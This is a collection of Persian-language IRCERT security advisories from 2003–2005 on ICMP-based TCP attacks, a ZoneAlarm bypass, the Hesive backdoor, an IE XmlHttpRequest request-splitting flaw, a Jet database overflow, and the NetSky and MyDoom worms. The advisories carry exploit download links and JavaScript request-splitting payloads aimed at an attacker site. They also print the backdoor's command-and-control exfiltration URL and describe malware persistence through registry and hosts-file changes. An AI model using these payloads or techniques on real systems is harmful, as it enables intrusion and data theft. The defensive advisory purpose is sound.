  • ·یک پیغام ICMP شامل سرآیند IP و 8 بایت ابتدای TCP می باشد. بنابراین یک پیغام ICMP شامل پورت TCP مبدا و مقصد و آدرس IP چهارتایی مبدا و مقصد میباشد. یک نفوذگر که این آدرس چهارتایی را بداند یا بتواند حدس بزند قادر خواهد بود پیغامهای ICMP جعلی بسازد. با تنظیم کردن انواع (Types) و کدهای (Codes) مربوط به ICMP برای نشان دادن موقعیت های خطای سخت افزاری یا نرم افزاری، نفوذگر می تواند موجب خاتمه (reset) و یا کاهش ارتباطات TCP معتبر گردد. به این نوع حمله اصطلاحا “blind connection-reset" میگویند.

  • ·حمله دیگری موسوم به “ICMP Source Quench” بر روی سیستمهای آسیب پذیر قابل اجرا میباشد. پیغام ICMP Quench زمانی برای یک ماشین میزبان ارسال میشود که از آن خواسته شود نرخ تولید و ارسال بسته های IP را کاهش دهد. نفوذگر با سوءاستفاده از این پیغام میتواند موجب کاهش کارایی ارتباطات TCP و متعاقبا عدم سرویس دهی به کاربران مجاز شود.

  • ·حمله دیگری بر علیه چندین محصول (نرم افزار) که برای بکارگیری PMTUD پیکربندی شده اند وجود دارد که در واقع یک حمله بر علیه ICMP PMTUD است. با ارسال یک پیغام ICMP جعلی به یک میزبان مورد نظر نفوذگر قادر خواهد بود MTU را برای آن ارتباط مورد نظر کاهش دهد که در نهایت سبب کاهش کارایی ارتباطات TCP و عدم سرویس دهی به کاربران مجاز میشود.

طبق آخرین گزارشات محصولات Microsoft نیز در معرض اینگونه حملات قرار دارند.

کد Exploit:

http://www.frsirt.com/exploits/20050420.HOD-icmp-attacks-poc.c.php

http://www.gont.com.ar/tools/icmp-attacks/icmp-mtu.tar.gz

http://www.gont.com.ar/tools/icmp-attacks/icmp-quench.tar.gz

http://gont.com.ar/tools/icmp-attacks/icmp-reset.tar.gz

راه حل:

Microsoft Upgrade Security Update for Windows Server 2003 (KB893066)
 Microsoft Upgrade Security Update for Windows XP (KB893066)

منابع:

Microsoft Security Bulletin MS05-019

Vulnerability Note VU#222750 - Multiple TCP/IP implementations do not adequately

Vulnerability Note VU#415294

http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html

نویسنده:

محسن شریفی


﻿ IRCERT - راهنماییها - Bypassing Personal Firewall (ZoneAlarm Pro) Protection

Bypassing Personal Firewall (ZoneAlarm Pro) Protection

تاریخ انتشار: 28 سپتامبر 2005 12:00AM

تاریخ بروزرسانی: 28 سپتامبر 2005 09:57PM

CVE: CVE-MAP-NOMATCH

کاشف: Debasis Mohanty

سیستمهای تحت تاثیر: Zone Labs ZoneAlarm Pro 5.1

سیستمهای امن: Zone Labs ZoneAlarm Security Suite 5.5

چکیده:

نقطه ضعفی در برنامه ZoneAlarm Pro (دیواره آتشی برای کامپیوترهای Desktop از شرکت Zone Labs) وجود دارد که می تواند سبب دورزدن و عبورکردن از تنظیمات Advanced Program Control این دیواره آتش شود.

اسبهای تروا و برنامه های جاسوسی می توانند از این نقطه ضعف به طور محلی و روی کامپیوتری که برنامه ZoneAlarm Pro در حال اجراست سوء استفاده کنند و از دیوار آتش عبور کنند.

توضیح:

در بسیاری از آخرین نسخه های فایروال های کامپیوترهای Desktop یک نقص و رخنه بسیار قدیمی وجود دارد بطوری که برنامه های خرابکار را قادر می سازد با استفاده از DDE-IPC (Direct Data Exchange – Interprocess Communications) از یک دیوار آتش عبور کنند. این مشکل سبب می گردد یک برنامه غیر قابل اعتماد (un-trusted) از طریق برنامه های تایید شده و مورد اعتماد دیوار آتش مانند Internet Explorer به یک نفوذگر متصل شده و یا اطلاعات شخصی روی کامپیوتر محلی را به یک منبع خارجی مانند سایت های اینترنتی انتقال دهد. این نوع نقطه ضعف در سال 2003 کشف و معرفی شده است.

کد Exploit:

یک برنامه PoC با نام zabypass.exe برای تست کردن این آسیب پذیری موجود در ZoneAlarm Pro توسط کاشف این نقطه ضعف نوشته شده است که در آدرس زیر در دسترس می باشد:

http://hackingspirits.com/vuln-rnd/zabypass.zip

راه حل:

هنوز هیچ Patch مربوط به این گزارش منتشر نشده است و شما باید از آخرین نسخه این برنامه استفاده کنید.

منابع:

Bypassing Personal Firewall (ZoneAlarm Pro) Protection

نویسنده:

محسن شریفی


﻿ IRCERT - راهنماییها - Backdoor.Hesive

Backdoor.Hesive

تاریخ انتشار: 27 سپتامبر 2005

تاریخ به روز رسانی: 4 اکتبر 2005 04:35:09PM

سیستمهای تحت تاثیر:

Windows 2000, Windows 95, Windows 98, Windows Me,

Windows NT, Windows Server 2003, Windows XP

چکیده:

Backdoor.Hesive تروجانی است که با باز کردن یک در پشتی روی کامپیوتر مورد نظر (کامپیوتر آسیب پذیر) اجازه دسترسی از راه دور و غیر مجاز یک نفوذگر را به آن کامپیوتر میسر می سازد.

این تروجان ممکن است در قالب یک فایل Microsoft Access ظاهر شود که در این صورت با سوء استفاده از آسیب پذیری موجود در Microsoft Jet Database Engine می تواند خودش را روی کامپیوتر نصب کند.

این تروجان با دریافت کردن فایلها از راه دور می تواند سبب کاهش کارایی شبکه شده و در ضمن اطلاعات محرمانه کاربر را در اختیار نفوذگر قرار دهد.

توضیح:

وقتی که Backdoor.Hesive اجرا می شود موارد زیر را انجام می دهد:

1. مسیر %Windir%\temp\csrse.exe را ساخته و اجرا می کند.

%Windir% متغییری است که پوشه نصب ویندوز را برمی گرداند. به طور پیش فرض این مقدار C:\Windows یا C:\Winnt است.

2. مقدار "csrse.exe" = "%Windir%\temp\csrse.exe" را به رجیستری اضافه می کند:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

بنابراین هر بار که ویندوز اجرا می شود این تروجان نیز اجرا خواهد شد.

3. سعی می کند به data.lovequintet.com روی پورت 80 یا 8088 دسترسی پیدا کند.

4. اجازه دسترسی نفوذگر از راه دور و توانایی اجرای موارد زیر را ممکن می سازد:

· پیدا کردن پورتهای فعال

· پیدا کردن پروسه ها و سرویس ها و ریسمان ها

· دریافت کردن و اجرا نمودن فایلها از راه دور

· Upload کردن فایل

· اجرای system shell

· تغییر دادن مقادیر رجیستری

· خاتمه دادن پروسه ها

· جمع آوری اطلاعات سیستم

· جمع آوری اطلاعات شبکه

· ارسال اطلاعات جمع آوری شده به [http://]data.lovequintet.com:8088/[REMOVED]/index.php یا [http://]data.lovequintet.com:80/[REMOVED]/index.php.

نحوه پاک کردن سیستم:

· غیر فعال کردن System Restore ویندوز

· به روز کردن ضدویروس

· چک کردن کل سیستم و حذف کلیه فایلهای آلوده

· پاک کردن مقادیر اضافه شده به رجیستری

منابع:

http://www.symantec.com/avcenter/venc/data/backdoor.hesive.html

نویسنده:

محسن شریفی


﻿ IRCERT - راهنماییها- XmlHttpRequest شکاف امنیتی ناشی از اعتبار سنجی نامناسب پارامترهای ارسالی به

شکاف امنیتی ناشی از اعتبار سنجی نامناسب پارامترهای ارسالی به

XmlHttpRequest در Internet Explorer

تاریخ انتشار: 24 سپتامبر 2005 12:00AM

تاریخ به روزرسانی: 28 سپتامبر 2005 11:10PM

CVE: CVE-MAP-NOMATCH

کاشف: Amit Klein

میزان خطر: ---

سیستمهای تحت تاثیر:

Microsoft Internet Explorer 6.0 SP2
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Server
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Terminal Services
Microsoft Windows 2000 Terminal Services SP1
Microsoft Windows 2000 Terminal Services SP2
Microsoft Windows 98
Microsoft Windows 98SE
Microsoft Windows ME
Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows NT Server 4.0 SP6a
Microsoft Windows NT Workstation 4.0 SP6a
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Datacenter Edition 64-bit
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Enterprise Edition 64-bit
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP Home
Microsoft Windows XP Professional

چکیده:

به علت وجود نقطه ضعفی در برنامه Internet Explorer که ناشی از بررسی نامناسب پارامترهای ارسالی به XmlHttpRequest است، اجازه تزریق کردن تقاضاهای HTTP دلخواه را به Internet Explorer ممکن می سازد.

XmlHttpRequest یک شی Javascript است (یکی از اجزای هسته AJAX). این شی به کد Javascript سمت Client اجازه فرستادن تقاضاهای Raw HTTP به میزبان اصلی و همچنین دستیابی به بدنه پاسخ های برگشتی (Responses) به صورت Raw Form را فراهم می کند.

یک نفوذگر با سوء استفاده از این نقطه ضعف می تواند علاوه بر فریب دادن یک وب سایت، یک مرورگر را مجبور به تقاضا کردن یک سایت روی ماشین محلی یا روی میزبان دیگری غیر از ماشین محلی نماید، البته به شرطی که از یک forwarding proxy server استفاده شده باشد. سپس نفوذگر با جلوگیری کردن از دریافت پاسخ توسط مرورگر می تواند اطلاعات حساس را سرقت کند و از این اطلاعات در حملات بعدی استفاده نماید. یک حمله موفق می تواند پیامدهای گوناگونی داشته باشد مانند حملات HTTP Request Smuggling یا حمله Man in the Middle (که طی آن هکر به ترافیک بین کاربر و یک سایت دیگر نفوذ می کند)و یا فاش سازی اطلاعات.

توضیح:

بطور کلی یک نفوذگر می تواند با سوء استفاده از این نقطه ضعف از تکنیکهای زیر استفاده نماید:

· Referrer spoofing

· HTTP Request Smuggling , HTTP Response Splitting and Web cache poisoning

· Accessing content / web-scanning

در اینجا فقط تکنیک اصلی یعنی Referrer Spoofing بررسی می شود.

بازیابی یک صفحه با استفاده از یک Referrer Spoofing:

مفروضات زیر را در نظر بگیرید: وب سایت نفوذگر www.attacker.site و وب سایت مقصد www.target.site است. از Forwarding Proxy Server استفاده می شود و یا اینکه سایت نفوذگر و مقصد بطور مجازی روی آدرس IP یکسانی میزبانی می شوند.

Client یک صفحه که حاوی کد Javascript است را از سایت www.attacker.site دریافت می کند. این کد برای پیاده سازی حمله نوشته و طراحی شده است. کد Javascript مذکور با exploit کردن شی XmlHttpRequest (که از طریق ارسال پارامترهای خاصی به آن می باشد) موجب شروع حمله با توجه به تکنیک بکار رفته در کد Javascript می شود.

کد Javascript در زیر (به عنوان بخشی از صفحه دریافت شده از سایت www.attacker.site) می تواند توسط Internet Explorer برای فرستادن یک Referrer معتبر و خواندن محتویات صفحات وب استفاده شود (این مثال روی Internet Explorer 6.0 SP2 تست و اجرا شده است و فرض بر این است که از forwarding proxy server استفاده می شود).

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
/1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
/1.0\r\nFoobar:","http://www.attacker.site/",false);

x.send();

alert(x.responseText);

توجه کنید که در خطوط تقاضای HTTP از Horizontal Tab (ASCII 0x09) به جای Space (ASCII 0x20) استفاده شده است که در HTTP/1.1 RFC (RFC 2616) به طور صریح غیر مجاز شناخته شده است، ولی هنوز خیلی از سرورها علاوه بر مجاز شمردن چنین نحوی >(Syntax) در تقاضاهای فرستاده شده Horizontal Tab را به Space تبدیل می کنند.

در زیر اسامی تعدادی پروکسی سرور که اجازه استفاده از Horizontal Tab را به عنوان یک جداساز در خط مربوط به تقاضای HTTP می دهند، لیست شده است:

- Apache 2.0.54 (mod_proxy)
- Squid 2.5.STABLE10-NT
- Sun Java System Web Proxy Server 4.0

توجه داشته باشید که تکنیک حمله HTTP Request Splitting در این وضعیت اتفاق خواهد افتاد یعنی کد Javascript بالا را می توان برای پیاده سازی حمله HTTP Request Splitting بکار برد. در این حالت نفوذگر مرورگر را مجبور به ارسال دو تقاضای HTTP به جای یک تقاضا می کند. در واقع در این تکنیک با هدرهای HTTP سروکار داریم.

فرض بعدی این بود که سایتهای www.attacker.site و www.target.site به طور مجازی روی آدرس IP یکسانی میزبانی می شوند. در این حالت کد زیر می تواند مورد استفاده قرار گیرد:

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\t
/page.cgi?parameters\tHTTP/1.0\r\nHost:\twww.target.site\r\nR
eferer:\thttp://www.target.site/somepath?somequery\r\n\r\nGET
\t/\tHTTP/1.0\r\nFoobar:","http://www.attacker.site/",false);

x.send();

alert(x.responseText);

نتیجه این کد ارسال دو تقاضا به سرور است که پاسخ تقاضای اول توسط مرورگر به XmlHttpRequest برگشت داده می شود .سپس کد مذکور می تواند صفحه برگشت داده شده را در پنجره html (مثلا document.body.innerHTML=...) جاسازی نماید. نکته اینکه کد Javascript مخرب می تواند ابتدا صفحه برگشت داده شده را بررسی و دستکاری نماید. به عنوان مثال میتواند موارد امنیتی ازقبیل “if((top.location!='http://www.target.site/...')" را حذف کند.

کد Exploit:

در بخش توضیح کدهای نمونه آورده شده است.

راه حل:

تا کنون هیچ اصلاحیه ای در رابطه با این شکاف امنیتی گزارش نشده است. به عنوان پیشنهاد از صاحبان سایتها تقاضا میشود به موارد زیر توجه کامل داشته باشند:

- استفاده از SSL

- استفاده نکردن از virtual hosting با حوزه های غیرقابل اعتماد

- اعتماد نکردن به کد سمت client برای جلوگیری کردن از cloning/MITM

- اعتماد نکردن به Referrer

- تنظیم کردن صریح host/domain در cookie

منابع:

Technet Security (Microsoft)

http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf

نویسنده:

محسن شریفی


﻿ IRCERT - راهنماییها- Microsoft Jet Database Engine خطای سرریزی بافر در

خطای سرریزی بافر در Microsoft Jet Database Engine

تاریخ انتشار: 31 مارچ 2005 12:00AM

تاریخ به روزرسانی: 3 اکتبر 2005 03:52PM

CVE: CAN-2005-0944

کاشف: vuln@hexview.com

میزان خطر: بالا

سیستمهای تحت تاثیر:

Microsoft JET 4.0 SP7
Microsoft JET 4.0 SP6
Microsoft JET 4.0 SP5
Microsoft JET 4.0 SP4
Microsoft JET 4.0 SP3
Microsoft JET 4.0 SP2
Microsoft JET 4.0 SP1
Microsoft JET 4.0
+ Microsoft Access 2000
Microsoft JET 3.51 SP3
Microsoft JET 3.51
+ Microsoft Excel 95
+ Microsoft Excel 97
Microsoft JET 3.5
+ Microsoft Access 95
+ Microsoft Access 97
Microsoft JET 3.0
+ Microsoft Access 95
Microsoft JET 2.5
+ Microsoft Access 2.0 SP1
Microsoft JET 2.0
+ Microsoft Access 2.0

چکیده:

یک آسیب پذیری از نوع سرریزی بافر در Microsoft Jet Database Engine وجود دارد. نقطه ضعف مذکور در کتابخانه msjet40.dll گزارش شده است. کلیه تستها و توضیحاتی که در زیر آورده شده ، روی آخرین نسخه کتابخانه msjet40.dll (نسخه 4.00.8618.0) صورت گرفته است و احتمالا نسخه های قبلی این کتابخانه نیز مستعد این آسیب پذیری هستند.

نکته: Microsoft Jet Database OLE(msjetoledb40.dll) از این نقطه ضعف مصون بوده و فقط برنامه هایی که از msjet40.dll استفاده می کنند آسیب پذیر هستند مانند Microsoft Access.

Microsoft Jet Database به طور گسترده ای توسط برنامه های کاربردی Office مورد استفاده قرار می گیرد. msjet40.dll جزء اصلی Microsoft Jet Database Engine بوده و وظیفه ارزیابی و اجرای تقاضاهای مربوط به اطلاعات و داده ها درون پایگاه داده را به عهده دارد. در پایگاه داده Access این کتابخانه به خواندن و نوشتن اطلاعات رسیدگی می کند.

توضیح:

به هنگام تجزیه و تحلیل یک فایل پایگاه داده توسط msjet40.dll، ارزیابی اطلاعات به اندازه کافی انجام نمیشود و در نتیجه این امکان وجود دارد که با تغییر عمدی یک فایل پایگاه داده ،هنگامی که این فایل توسط msjet40.dll باز می شود کد مورد نظر نفوذگر به اجرا درآید.

در زیر قطعه ای از یک فایل mdb خالی آورده شده است. به توالی کاراکترهای 0x77 در خط سوم توجه کنید. هنگامی که msjet40.dll این بخش از فایل را تجزیه و تحلیل می کند این کاراکترها سبب ایجاد یک exception در برنامه میشوند.

000023B0: 00 00 04 00-49 00 64 00-18 00 50 00-61 00 72 00 ....I.d...P.a.r.
000023C0: 65 00 6E 00-74 00 49 00-64 00 4E 00-61 00 6D 00 e.n.t.I.d.N.a.m.
000023D0: 65 00 77 77-77 77 00 00-05 06 00 00-08 00 02 06 e.wwww..........
000023E0: 00 00 03 06-00 00 0D 00-08 06 00 00-09 06 00 00 ................
000023F0: 10 00 0E 06-00 00 0F 06-00 00 0F 00-0C 06 00 00 ................

در زیر قطعه کد آسیب پذیر که در کتابخانه msjet40.dll قرار دارد آورده شده است. نفوذگر بطور مستقیم مقدار ثبات AX را کنترل میکند.

movsx eax, ax
mov ecx, [edi+eax*4+0B0h]
mov edx, [ecx]
call dword ptr [edx+10h]

محدوده حافظه ای که در دسترس می باشد شامل بخشهایی از فایل اصلی است، یعنی می توان با توجه به قطعه کد بالا ،در ثبات EIP(Instruction Pointer) مقداری را قرار داد که درون فایل اصلی جاسازی شده است. کد exploitای که بدین صورت نوشته شود بسیار قابل حمل (Portable) بوده و نفوذگر هیچ احتیاجی به آدرسهای کد مورد نظر خود ندارد.

توجه : تروجانی با نام Backdoor.Hesive با سوء استفاده از این آسیب پذیری خودش را روی کامپیوترهای آسیب پذیر نصب می کند.

کد Exploit:

http://www.securityfocus.com/data/vulnerabilities/exploits/msjetBufferOverflowExploit.c

راه حل:

هنوز هیچ راه حل و اصلاحیه ای در این زمینه گزارش نشده است.

منابع:

Technet Security (Microsoft)

http://www.hexview.com/docs/20050331-1.txt

نویسنده:

محسن شریفی


﻿ IRCERT - شیوه استفاده از راهنماییها - راهنماییها

شیوه استفاده از راهنماییها

یکی از بخشهای سایت که به نوعی شاید بتوان گفت رسمی ترین بخش یک سایت CERT نیز هست بخش راهنماییهای امنیتی ست. این بخش با توجه به محتوای نسبتا فنی آن عمدتا از دید مخاطب عام دور مانده است. با توجه به حساسیت مطلب توجه این مخاطبین را به نکات زیر جلب میکنیم:

  1. به محض وقوع یک حادثه امنیتی یا گزارش یک شکاف امنیتی این بخش علاوه بر اطلاع رسانی راه حل احتمالی رفع یا مقابله با خطر را اعلام میکند.
  2. این راهنمایی ها عمدتا شامل یک چکیده ، توضیحات و راه حل است. بخش توضیحات آن برای مخاطبین فنی و آشنا به حوزه مربوطه است. اما دو بخش چکیده و راه حل برای تمامی مخاطبین است.
  3. برای حفظ امنیتی سیستم های شخصی دستکم خواندن بخش راه حل به تمامی مخاطبین توصیه میشود.
  4. برای اینکه هر مخاطب در کوتاه ترین زمان تشخیص دهد که آیا راهنمایی امنیتی حاضر به کار او می آید یا خیر بهش "سیستمهای تحت تاثیر" در نظر گرفته شده. اگر شما از یکی از این سیستمها و نرم افزارها استفاده میکنید، پس خواندن راهنمایی مربوطه اکیدا به شما توصیه میشود.

اما چند نکته بسیار مهم هم برای متخصصین:

  1. در حال حاضر با توجه به طی دوره آزمایشی سایت عمده راهنماییهای امنیتی منتشر شده معطوف به سیستمهای کاربران خانگی ست. بنابراین این ایراد به ما وارد است که چرا نسبت به شکافهای امنیتی سیستمها خاص واکنشی نشان نمیدهیم. امیدواریم با آغاز به کار رسمی سایت این ایراد به نحو مناسبی مرتفع شود.
  2. باید یادآوری کنیم که سعی ما در زمینه راهنماییهای امنیتی بروز بودن و کارآمدی ست. درین زمینه اگر اشکالی هست (به لحاظ توضیحات فنی یا راه حلها) خوشحال میشویم تا از کمک شما بهره گیریم.

با تشکر
تیم IRCERT


﻿ IRCERT - راهنماییها- W32/NetSkyویروس

ویروس W32/NetSky.B

تاریخ: 18/2/2004

منبع: CERT/CC

سیستمهای تحت تاثیر

تمام نسخه های ویندوز

چکیده

NetSky.B یک ویروس مبتنی بر ایمیل است که از طریق ارسال یک پیوست اجرایی فعال میشود.

توضیح

NetSky.B بوسیله ایمیل بر روی کامپیوتر های مختلف منتشر میشود. ایمیل حاوی این ویروس دارای مشخصات زیر است:

  • پیوست

  • یک فایل با دو پسوند که پسوند اول یکی از موارد زیر است:

  • Txt

  • Rtf

  • Doc

  • Htm

  • پسوند دوم نیز یکی از موارد زیر است:

  • Com

  • Pif

  • Scr

  • Exe

  • فرستنده:

  • یک آدرس نامشخص

  • موضوع

  • یکی از موارد زیر

  • stolen

  • fake

  • unknown

  • something for you

  • read it immediately

  • warning

  • information

  • متن

  • بر حسب تصادف یک متن تکراری از یک لیست انتخاب شده است

  • تاثیرات

  • تغییر رجیستری ویندوز بگونه ای که ویروس در هر بار شروع به کار سیستم اجرا شود

  • کپی شدن فایل اصلی ویروس در مسیر %windir\services.exe(%windir دایرکتوری ویندوز بر روی سیستم شماست)

  • ارسال مجدد ویروس به ایمیل های موجود بر روی کامپیوتر مقصد

  • کپی شدن ویروس بر روی درایوها یا دایرکتوری های Share

  • راه حل

  • عدم اجرای پیوست ایمیلهایی که مبدا ناشناس دارند

  • اجرا – نگهداری و بروز رسانی یک نرم افزار قابل اعتماد ضد ویروس

  • سایتهای ضد ویروس مربوطه


﻿ IRCERT - راهنماییها- W32/MyDoom.B Virus

ویروس:

W32/MyDoom.B Virus

تاریخ: 2/2/2004

آخرین تغییرات مطلب:

منبع:USCERT

سیستمهای تحت تاثیر

  • تمام نسخه های ویندوز

چکیده

MyDoom یک ویروس مبتنی بر ایمیل است که از طریق اجرای یک فایل اجرایی که به صورت پیوست ارسال میگردد منتشر میشود

توضیح

MyDoom.B از طریق ایمیل یا شبکه های P2P منتقل میشود. لازمه انتقال این ویروس آنست که خود کاربر فایل اجرایی ضمیمه شده به ایمیل را اجرا نماید. در غیر اینصورت ویروس منتقل نخواهد شد.

فعالیت این ویروس احتمالا تا تاریخ اول مارس 2004 متوقف میشود.

مشخصات ایمیل حاوی این ویروس به قرار زیر است:

  • فرستنده
    • یک آدرس تصادفی از سایتهای : aol, msn, yahoo, hotmail
  • موضوع
    • یکی از عناوین: Delivery Error, hello, Error, Mail Delivery System, Mail Transaction Failed, Returned mail, Server Report, Status, Unable to deliver the message
  • متن
    • متن ایمیل حاوی مشخصات احتمالی زیر است:
    • [random characters]

      test

      The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment.

      sendmail daemon reported: Error #804 occured during SMTP session. Partial message has been received.

      The message contains Unicode characters and has been sent as a binary attachment.

      The message contains MIME-encoded graphics and has been sent as a binary attachment.

      Mail transaction failed. Partial message is available.
  • پیوست
    • پیوست ایمیل که حاوی فایل اجرایی ویروس است به شکل زیر است:

{body, doc, text, document, data, file, readme, message}.{exe, bat, scr, cmd, pif}

تاثیرات

  • ایجاد دو فایل با نامهای
    • Explorer.exe
    • Ctfmon.dll

هر دوی این فایلها در دایرکتوری سیستم ویندوز نصب میشوند. باید دقت کرد که خود ویندوز دارای فایلی با نام explorer.exe در دایرکنوری ویندوز است . فایل دوم نیز همنام یکی از فایلهایی ست که با نرم افزار Office نصب میشود.

  • تغییر فایل Hosts
    • این فایل مرجع اولیه ویندوز برای Name Resolution می باشد که در مسیر زیر قرار دارد:
      • %windir%\system32\drivers\etc\hosts

این ویروس برای گمراه کردن کاربر و جلوگیری از دستیابی او به سایتهای معروفضد ویروس و ضد هک ، آدرس برخی ازانها را به شکل زیر درین فایل تغییر میدهد:

127.0.0.1 localhost localhost.localdomain local lo
0.0.0.0 0.0.0.0
0.0.0.0 engine.awaps.net awaps.net www.awaps.net ad.doubleclick.net
0.0.0.0 spd.atdmt.com atdmt.com click.atdmt.com clicks.atdmt.com
0.0.0.0 media.fastclick.net fastclick.net www.fastclick.net ad.fastclick.net
0.0.0.0 ads.fastclick.net banner.fastclick.net banners.fastclick.net
0.0.0.0 www.sophos.com sophos.com ftp.sophos.com f-secure.com www.f-secure.com
0.0.0.0 ftp.f-secure.com securityresponse.symantec.com
0.0.0.0 www.symantec.com symantec.com service1.symantec.com
0.0.0.0 liveupdate.symantec.com update.symantec.com updates.symantec.com
0.0.0.0 support.microsoft.com downloads.microsoft.com
0.0.0.0 download.microsoft.com windowsupdate.microsoft.com
0.0.0.0 office.microsoft.com msdn.microsoft.com go.microsoft.com
0.0.0.0 nai.com www.nai.com vil.nai.com secure.nai.com www.networkassociates.com
0.0.0.0 networkassociates.com avp.ru www.avp.ru www.kaspersky.ru
0.0.0.0 www.viruslist.ru viruslist.ru avp.ch www.avp.ch www.avp.com
0.0.0.0 avp.com us.mcafee.com mcafee.com www.mcafee.com dispatch.mcafee.com
0.0.0.0 download.mcafee.com mast.mcafee.com www.trendmicro.com
0.0.0.0 www3.ca.com ca.com www.ca.com www.my-etrust.com
0.0.0.0 my-etrust.com ar.atwola.com phx.corporate-ir.net
0.0.0.0 www.microsoft.com

  • اعمال تغییرات زیر در رجیستری ویندوز(این تغییرات جهت اجرای ویروس حین شروع به کار سیستم اعمال میشود. بنابراین با حذف خط اول از رجیستری ، ویروس اجرا نخواهد شد)

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Explorer"="C:\WINDOWS\system32\explorer.exe"

[HKEY_CLASSES_ROOT\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InProcServer32]
@="%SystemRoot%\System32\ctfmon.dll" (REG_EXPAND_SZ)
This value is normally set to %SystemRoot%\System32\webcheck.dll (REG_EXPAND_SZ)

  • تاثیرات شبکه ای
    • ویروس بلافاصله پس از نصب شروع به ارسال ایمیل به تمامی آدرسهای موجود در کامپیوتر میزبان میپردازد. این مساله دو تاثیر خواهد داشت:
      • تکثیر ویروس از طریق Address Book کامپیوتر میزبان
      • بعضی از سرورهای ایمیل دارای برنامه های ضد ویروس هستند و جلوی ارسال ایمیلهای ویروسی را میگیرند. همین مساله خود میتواند مشکل ساز باشد. این ویروس آدرس مبدا را جعلی انتخاب میکند (Source Spoofing) بنابراین ممکن است ایمیل برگشتی از سرور که خود حاوی ویروس است به یک آدرس دیگر ارسال شود و شخص دیگری را آلوده سازد!
    • ایجاد یک BackDoor بر روی یکی از پورتهای 1080, 3128, 80, 8080, 10080. ازین BackDoor ممکن است بعدا جهت دسترسی به اطلاعات کامپیوتر میزبان استفاده شود.
    • ویروس شروع به اسکن کردن سیستمهایی میکند که پورت TCP شماره 3127 آنها باز است (علت این قضیه مشخص نیست)
    • ویروس از اول فوریه 2004 شروع به حمله DDOS علیه سایت میکروسافت خواهد کرد.

راه حل

  • فیلتر کردن ترافیک خروجی با مقصد پورت3127 و ترافیم ورودی و خروجی بر روی پورتهای 1080, 3128, 80, 8080, 10080(اصولا بهتر است در صورتی که از فایروال شخصی استفاده میکنید تمامی ترافیک ورودی و خروجی غیر ضروری را فیلتر کنید)
  • اجرای یک برنامه Email Scanner بر روی Mail Server ها (کاربران خانگی باید اطمینان حاصل کنند که Mail Server آنها حتما دارای چنین برنامه ای هست و مرتبا هم آنرا بروز میکند)

توصیه برای کاربران خانگی

  • در صورتی که ارسال کننده ایمیلی را نمیشناسید هرگز فایلهای اجرایی ارسالی و ضمیمه شده به ایمیل را اجرا نکنید
  • حتما از یک برنامه ضد ویروس بر روی دستگاه خود استفاده کنید. درین زمینه به دو نکته زیر توجه کنید:
    • داشتن یک برنامه ضد ویروس بهیچ وجه تضمین صد در صدی جهت آلوده نشدن سیستم به شما نمیدهد
    • تمامی برنامه های ضد ویروس جهت شناسایی ویروسهای جدید نیاز دارند تا پایگاه داده خود را بروز نمایند. ازین مطلب اطمینان حاصل کنید که یا برنامه مورد استفاده شما به صورت اتوماتیک از طریق اینترنت بروز میشود و یا بروز شده آنرا از طریق دیگری تهیه نمایید
  • داشتن یک فایروال شخصی به تمامی کاربران خانگی توصیه میشود. گرچه فایروال شخصی در بسیاری موارد جلوی ویروسی شدن یا تاثیرات دیگر ویروسها را نمیگیرد اما حداقل مزیت آن از بین بردان یا کاهش تاثیرات شبکه ای ویروسهاست.

بازیابی

  • در صورت دسترسی از یک ابزار اتوماتیک بازیابی جهت این ویروس استفاده کنید. در غیر این صورت موارد زیر را اجرا کنید:
    • پروسه Explorer.exe را توسط Task Manager خاتمه دهید
    • ورودیهای ذکرر شده مربوط به ویروس را از رجیستری پاک کنید
    • فایل Hosts را بازیابی کنید


﻿ IRCERT - راهنماییها-IE کشف شکاف جدید در

هشدار امنیتی:

کشف شکاف جدید در IE

تاریخ: 11/11/2003

منبع:FedCirc

سیستمهای تحت تاثیر:

  • IE6
  • IE6 همراه با Service Pack1
  • IE5.1

اصل خبر:

گزارشات متعددی مبنی بر وجود شکافهای امنیتی جدی در IE مشاهده شده . بنابراین گزارشها ، وجود شکافی موسوم به Cross Site Vulnerability باعث شده تا بسیاری از کامپیوترها مورد حملات اینترنتی قرار گیرند. این شکاف به حمله کننده اجازه میدهد در حالی که کاربر مشغول مشاهده یک سایت است به اطلاعات موجود در کامپیوتر شخصی کاربر دست یابد ، آنها را برداشت کند و یا کد خاصی را بر روی کامپیوتر او اجرا نماید.

تاثیر احتمالی

  • دستیابی نفوذگر به اطلاعات شخصی، اجرای کد با اختیارات کاربر سیستم

توصیه ها

  • اعمال وصله امنیتی مربوطه
  • اجرای برنامه های ضد ویروس


﻿ IRCERT - راهنماییها-Check Point Firewall-مشکل امنیتی1

هشدار امنیتی:

مشکل امنیتی Check Point Firewall-1

تاریخ: 6/2/2004

منبع: USCERT

منبع اصلی: Internet Security Systems

شماره CVE: CAN-2004-0039

سیستمهای تحت تاثیر

  • Check Point Firewall-1 NG FCS
  • Check Point Firewall-1 NG FP1
  • Check Point Firewall-1 NG FP2
  • Check Point Firewall-1 NG FP3, HF2
